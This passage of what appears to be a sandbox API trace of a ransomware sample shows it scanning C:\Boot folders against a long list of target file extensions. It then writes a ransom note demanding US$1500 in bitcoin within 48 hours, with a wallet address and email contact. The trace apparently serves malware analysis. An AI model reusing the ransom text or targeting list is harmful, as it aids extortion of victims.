(pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.417] lstrlenA (lpString="*.ost") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.417] lstrlenA (lpString="*.idx") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.417] lstrlenA (lpString="*.dbx") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.417] lstrlenA (lpString="*.sql") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.417] lstrlenA (lpString="*.mdb") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.417] lstrlenA (lpString="*.fdb") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.417] lstrlenA (lpString="*.wab") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.417] lstrlenA (lpString="*.dat") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.417] lstrlenA (lpString="*.txt") returned 5 [0057.417] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.417] lstrlenA (lpString="*.jpeg") returned 6 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.418] lstrlenA (lpString="*.jpg") returned 5 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.418] lstrlenA (lpString="*.png") returned 5 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.418] lstrlenA (lpString="*.php") returned 5 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.418] lstrlenA (lpString="*.cs") returned 4 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.418] lstrlenA (lpString="*.cpp") returned 5 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.418] lstrlenA (lpString="*.rar") returned 5 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.418] lstrlenA (lpString="*.zip") returned 5 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.418] lstrlenA (lpString="*.html") returned 6 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.418] lstrlenA (lpString="*.htm") returned 5 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.418] lstrlenA (lpString="*.xlsx") returned 6 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.418] lstrlenA (lpString="*.xls") returned 5 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.418] lstrlenA (lpString="*.mp4") returned 5 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.418] lstrlenA (lpString="*.ppt") returned 5 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.418] lstrlenA (lpString="*.pptx") returned 6 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.418] lstrlenA (lpString="*.doc") returned 5 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.418] lstrlenA (lpString="*.dot") returned 5 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.418] lstrlenA (lpString="*.docx") returned 6 [0057.418] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.419] lstrlenA (lpString="*.7z") returned 4 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.419] lstrlenA (lpString="*.tar") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.419] lstrlenA (lpString="*.bz2") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.419] lstrlenA (lpString="*.gz") returned 4 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.419] lstrlenA (lpString="*.mkv") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.419] lstrlenA (lpString="*.eml") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.419] lstrlenA (lpString="*.msg") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.419] lstrlenA (lpString="*.edb") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.419] lstrlenA (lpString="*.accdb") returned 7 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.419] lstrlenA (lpString="*.odb") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.419] lstrlenA (lpString="*.java") returned 6 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.419] lstrlenA (lpString="*.asm") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.419] lstrlenA (lpString="*.pfx") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.419] lstrlenA (lpString="*.pem") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.419] lstrlenA (lpString="*.p12") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.419] lstrlenA (lpString="*.gpg") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.419] lstrlenA (lpString="*.vsd") returned 5 [0057.419] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.419] lstrlenA (lpString="*.odg") returned 5 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.420] lstrlenA (lpString="*.raw") returned 5 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.420] lstrlenA (lpString="*.nef") returned 5 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.420] lstrlenA (lpString="*.svg") returned 5 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.420] lstrlenA (lpString="*.psd") returned 5 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.420] lstrlenA (lpString="*.vmx") returned 5 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.420] lstrlenA (lpString="*.vmdk") returned 6 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.420] lstrlenA (lpString="*.vdi") returned 5 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.420] lstrlenA (lpString="*.lay6") returned 6 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.420] lstrlenA (lpString="*.mpeg") returned 6 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.420] lstrlenA (lpString="*.djvu") returned 6 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.420] lstrlenA (lpString="*.tiff") returned 6 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.420] lstrlenA (lpString="*.backup") returned 8 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.420] lstrlenA (lpString="*.pdf") returned 5 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.420] lstrlenA (lpString="*.cert") returned 6 [0057.420] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.421] lstrlenA (lpString="*.docm") returned 6 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.421] lstrlenA (lpString="*.xlsm") returned 6 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.421] lstrlenA (lpString="*.dwg") returned 5 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.421] lstrlenA (lpString="*.nd") returned 4 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.421] lstrlenA (lpString="*.tlg") returned 5 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.421] lstrlenA (lpString="*.lgb") returned 5 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.421] lstrlenA (lpString="*.mov") returned 5 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.421] lstrlenA (lpString="*.xdw") returned 5 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.421] lstrlenA (lpString="*.ods") returned 5 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.421] lstrlenA (lpString="*.wav") returned 5 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.421] lstrlenA (lpString="*.mp3") returned 5 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.421] lstrlenA (lpString="*.aiff") returned 6 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.421] lstrlenA (lpString="*.flac") returned 6 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.421] lstrlenA (lpString="*.m4a") returned 5 [0057.421] PathMatchSpecA (pszFile="C:\\Boot\\tr-TR\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.421] lstrlenA (lpString="*.csv") returned 5 [0057.421] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.422] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.422] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0057.422] lstrcmpA (lpString1=".", lpString2="zh-CN") returned -1 [0057.422] lstrcmpA (lpString1="..", lpString2="zh-CN") returned -1 [0057.422] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.422] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="zh-CN" | out: lpString1="C:\\Boot\\zh-CN") returned="C:\\Boot\\zh-CN" [0057.422] lstrlenA (lpString="C:\\Boot\\zh-CN") returned 13 [0057.422] FindFirstFileA (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.422] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.422] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.422] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.422] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.422] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.422] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.422] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.422] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.423] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.423] PathFindFileNameA (pszPath="C:\\Boot\\zh-CN\\*.*") returned="*.*" [0057.423] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\zh-CN\\" | out: lpString1="C:\\Boot\\zh-CN\\") returned="C:\\Boot\\zh-CN\\" [0057.423] PathAddBackslashA (in: pszPath="C:\\Boot\\zh-CN\\" | out: pszPath="C:\\Boot\\zh-CN\\") returned="" [0057.423] lstrcatA (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\zh-CN\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\zh-CN\\HOW TO DECRYPT FILES.txt" [0057.423] GetFileAttributesA (lpFileName="C:\\Boot\\zh-CN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\zh-cn\\how to decrypt files.txt")) returned 0xffffffff [0057.423] CreateFileA (lpFileName="C:\\Boot\\zh-CN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\zh-cn\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.423] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.423] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.424] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.424] CloseHandle (hObject=0x84) returned 1 [0057.424] lstrcatA (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="C:\\Boot\\zh-CN\\bootmgr.exe.mui" [0057.424] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.425] lstrlenA (lpString="*.ems") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.425] lstrlenA (lpString="*.db") returned 4 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.425] lstrlenA (lpString="*.dbf") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.425] lstrlenA (lpString="*.myox") returned 6 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.425] lstrlenA (lpString="*.myo") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.425] lstrlenA (lpString="*.qbw") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.425] lstrlenA (lpString="*.qbb") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.425] lstrlenA (lpString="*.qbm") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.425] lstrlenA (lpString="*.qbo") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.425] lstrlenA (lpString="*.qbx") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.425] lstrlenA (lpString="*.qba") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.425] lstrlenA (lpString="*.qby") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.425] lstrlenA (lpString="*.qbj") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.425] lstrlenA (lpString="*.ofx") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.425] lstrlenA (lpString="*.qif") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.425] lstrlenA (lpString="*.mye") returned 5 [0057.425] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.426] lstrlenA (lpString="*.mbox") returned 6 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.426] lstrlenA (lpString="*.eml") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.426] lstrlenA (lpString="*.pst") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.426] lstrlenA (lpString="*.ost") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.426] lstrlenA (lpString="*.idx") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.426] lstrlenA (lpString="*.dbx") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.426] lstrlenA (lpString="*.sql") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.426] lstrlenA (lpString="*.mdb") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.426] lstrlenA (lpString="*.fdb") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.426] lstrlenA (lpString="*.wab") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.426] lstrlenA (lpString="*.dat") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.426] lstrlenA (lpString="*.txt") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.426] lstrlenA (lpString="*.jpeg") returned 6 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.426] lstrlenA (lpString="*.jpg") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.426] lstrlenA (lpString="*.png") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.426] lstrlenA (lpString="*.php") returned 5 [0057.426] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.426] lstrlenA (lpString="*.cs") returned 4 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.427] lstrlenA (lpString="*.cpp") returned 5 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.427] lstrlenA (lpString="*.rar") returned 5 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.427] lstrlenA (lpString="*.zip") returned 5 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.427] lstrlenA (lpString="*.html") returned 6 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.427] lstrlenA (lpString="*.htm") returned 5 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.427] lstrlenA (lpString="*.xlsx") returned 6 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.427] lstrlenA (lpString="*.xls") returned 5 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.427] lstrlenA (lpString="*.mp4") returned 5 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.427] lstrlenA (lpString="*.ppt") returned 5 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.427] lstrlenA (lpString="*.pptx") returned 6 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.427] lstrlenA (lpString="*.doc") returned 5 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.427] lstrlenA (lpString="*.dot") returned 5 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.427] lstrlenA (lpString="*.docx") returned 6 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.427] lstrlenA (lpString="*.7z") returned 4 [0057.427] PathMatchSpecA (pszFile="C:\\Boot\\zh-CN\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.427] lstrlenA (lpString="*.tar") returned 5 [0057.427] PathMatchSpecA 